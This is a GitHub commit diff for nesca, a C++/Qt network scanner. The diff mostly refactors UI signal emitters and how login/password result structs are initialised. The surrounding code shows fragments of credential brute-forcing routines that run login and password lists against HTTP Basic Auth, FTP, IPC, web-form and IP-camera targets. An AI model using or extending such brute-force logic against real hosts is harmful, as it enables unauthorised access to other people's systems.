Skip to content

Commit

Permalink
Updated UI
Browse files Browse the repository at this point in the history
  • Loading branch information
forsdev1 committed Apr 3, 2015
1 parent 4c8944e commit 17f3ae5
Show file tree
Hide file tree
Showing 16 changed files with 338 additions and 495 deletions.
6 changes: 2 additions & 4 deletions BasicAuth.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -33,14 +33,12 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
lopaStr BA::BABrute(const char *ip, const int port) {
string buffer;
string lpString;
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
int passCounter = 0;

strcpy(lps.login, "UNKNOWN");

for(int i = 0; i < MaxLogin; ++i) {
for (int j = 0; j < MaxPass; ++j) {
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
Expand Down Expand Up @@ -78,7 +76,7 @@ lopaStr BA::BALobby(const char *ip, const int port) {

return lps;
} else {
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
return lps;
}
}
6 changes: 2 additions & 4 deletions BruteUtils.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,7 @@ __asm
#else
asm("lock incl BrutingThrds");
#endif

stt->doEmitionChangeBA(QString::number(BrutingThrds));
stt->doEmitionUpdateArc(gTargets);
}

void BruteUtils::BConDec()
Expand All @@ -30,6 +29,5 @@ void BruteUtils::BConDec()
asm("lock decl BrutingThrds");
#endif
}

stt->doEmitionChangeBA(QString::number(BrutingThrds));
stt->doEmitionUpdateArc(gTargets);
}
2 changes: 0 additions & 2 deletions Connector.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -223,7 +223,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString("[OVERFLOW]"));
return buffer->size();
} else {
stt->doEmitionOffline(QString::number(++offlines));
return -1;
}
}
Expand Down Expand Up @@ -255,7 +254,6 @@ int Connector::_ConnectToPort(char* ip, int port)
if(size > 0)
{
++Alive;
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(++found));
Lexems lx;
lx._filler(port, buffer.c_str(), ip, size, &lx);
};
Expand Down
4 changes: 2 additions & 2 deletions FTPAuth.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ bool FTPA::checkOutput(const string *buffer) {
lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer;
string lpString;
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
Expand Down Expand Up @@ -74,7 +74,7 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {

return lps;
} else {
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};;
return lps;
}
}
5 changes: 2 additions & 3 deletions IPCAuth.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
{
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
bool result = true;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
Expand Down Expand Up @@ -172,7 +172,6 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
};
};

strcpy(lps.login, "UNKNOWN");
return lps;
}

Expand All @@ -186,7 +185,7 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {

return lps;
} else {
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
return lps;
}
}
53 changes: 15 additions & 38 deletions STh.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -3,38 +3,26 @@
void STh::doEmitionShowRedVersion()
{
emit stt->showRedVersion();
};
}
void STh::doEmitionStartScanIP()
{
emit stt->startScanIP();
};
}
void STh::doEmitionStartScanDNS()
{
emit stt->startScanDNS();
};
}
void STh::doEmitionStartScanImport()
{
emit stt->startScanImport();
};
}
void STh::doEmitionAddIncData(QString(ip), QString str)
{
emit stt->sIncData(ip, str);
};
}
void STh::doEmitionAddOutData( QString str)
{
emit stt->sOutData(str);
};
void STh::doEmitionIPRANGE(QString str)
{
emit stt->changeIpRange(str);
}
void STh::doEmitionThreads(QString str)
{
emit stt->changeThreads(str);
}
void STh::doEmitionIPS(QString str)
{
emit stt->changeIPS(str);
}
void STh::doEmitionFoundData(QString str)
{
Expand All @@ -47,7 +35,7 @@ void STh::doEmitionBAData(QString str)
void STh::doEmition_BARedData(QString str)
{
emit stt->changeRedBAData(str);
};
}
void STh::doEmition_BAGreenData(QString str)
{
emit stt->changeGreenBAData(str);
Expand All @@ -72,31 +60,20 @@ void STh::doEmitionChangeStatus(QString str)
{
emit stt->changeStatus(str);
}
void STh::doEmitionTargetsLeft(QString str)
{
emit stt->changeTargetsLeft(str);
}
void STh::doEmitionKillSttThread()
{
emit stt->killSttThread();
};
void STh::doEmitionChangeParsed(QString str)
{
emit stt->changeParsedValue(str);
};
void STh::doEmitionChangeBA(QString str)
{
emit stt->changeBAValue(str);
};
void STh::doEmitionOffline(QString str)
{
emit stt->changeOffline(str);
};
}
void STh::doEmitionDataSaved(bool status)
{
emit stt->signalDataSaved(status);
};
emit stt->signalDataSaved(status);
}
void STh::doEmitionUpdateArc(unsigned long gTargets)
{
emit stt->signalUpdateArc(gTargets);
}

void STh::run()
{
startScan(inputStr);
}
}
22 changes: 5 additions & 17 deletions STh.h
Original file line number Diff line number Diff line change
Expand Up @@ -20,23 +20,17 @@ class STh : public QThread
static void doEmitionAddIncData(QString ip, QString str);
static void doEmitionAddOutData(QString str);
static void doEmition_BAGreenData(QString str);
static void doEmition_BARedData(QString str);
static void doEmitionIPRANGE(QString str);
static void doEmitionThreads(QString str);
static void doEmitionIPS(QString str);
static void doEmition_BARedData(QString str);
static void doEmitionFoundData(QString str);
static void doEmitionRedFoundData(QString str);
static void doEmitionGreenFoundData(QString);
static void doEmitionYellowFoundData(QString);
static void doEmitionChangeStatus(QString);
static void doEmitionTargetsLeft(QString);
static void doEmitionKillSttThread();
static void doEmitionChangeParsed(QString);
static void doEmitionChangeBA(QString);
static void doEmitionOffline(QString);
static void doEmitionChangeStatus(QString);
static void doEmitionKillSttThread();
static void doEmitionBAData(QString str);
static void doEmitionDebugFoundData(QString);
static void doEmitionShowRedVersion();
static void doEmitionUpdateArc(unsigned long gTargets);

signals:
public: signals: void showRedVersion();
Expand All @@ -47,22 +41,16 @@ public: signals: void signalDataSaved(bool);
public: signals: void changeGreenBAData(QString);
public: signals: void changeRedBAData(QString);
public: signals: void changeBAData(QString);
public: signals: void changeOffline(QString);
public: signals: void changeBAValue(QString);
public: signals: void changeParsedValue(QString);
public: signals: void changeIpRange(QString);
public: signals: void changeThreads(QString);
public: signals: void changeIPS(QString);
public: signals: void changeFoundData(QString);
public: signals: void changeRedFoundData(QString);
public: signals: void changeGreenFoundData(QString);
public: signals: void changeYellowFoundData(QString);
public: signals: void changeDebugFoundData(QString);
public: signals: void changeStatus(QString);
public: signals: void changeTargetsLeft(QString);
public: signals: void killSttThread();
public: signals: void sIncData(QString, QString);
public: signals: void sOutData(QString);
public: signals: void signalUpdateArc(unsigned long);

protected:
void run();
Expand Down
8 changes: 4 additions & 4 deletions WebformWorker.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -158,12 +158,12 @@ lopaStr WFClass::_WFBrute( const char *ip,
char *passVal,
char *formVal) {

lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
lopaStr lps{"UNKNOWN", "", ""};

if(strstri(methodVal, "get") != NULL) {
result = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
lps = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
} else if(strstri(methodVal, "post") != NULL) {
result = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
lps = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
} else {
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) +
":" + QString::number(port)
Expand All @@ -172,5 +172,5 @@ lopaStr WFClass::_WFBrute( const char *ip,
"</font></a> - [WF]: Unknown method.");
};

return result;
return lps;
}
1 change: 1 addition & 0 deletions externData.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
extern QJsonArray *jsonArr;

extern unsigned long long gTargetsOverall;
extern long long unsigned int gTargets;
extern volatile int cons, BrutingThrds, gThreads;
extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives;
extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened,
Expand Down
8 changes: 4 additions & 4 deletions finder.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -1134,16 +1134,16 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
}
else
{
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
///fillGlobalLogData(ip, tport, std::to_string(size).c_str(), title, "", "", "UnknownWebform", cp, tclass);
///putInFile(flag, ip, tport, size, title, cp);
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) +
"\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) +
"</font></a> - [WF]: Cannot find user/pass field.");
};
};
}

void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{
lopaStr lps;
lopaStr lps{"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
Expand Down
1 change: 0 additions & 1 deletion nesca.pro
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,6 @@ SOURCES +=\
finder.cpp \
WebformWorker.cpp \
Connector.cpp \
connector_old.cpp \
Utils.cpp \
BruteUtils.cpp \
BasicAuth.cpp \
Expand Down
2 changes: 1 addition & 1 deletion nesca.pro.user
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-04-02T13:07:30. -->
<!-- Written by QtCreator 3.2.1, 2015-04-03T15:20:42. -->
<qtcreator>
<data>
<variable>EnvironmentId</variable>
Expand Down
Loading

0 comments on commit 17f3ae5

Please sign in to comment.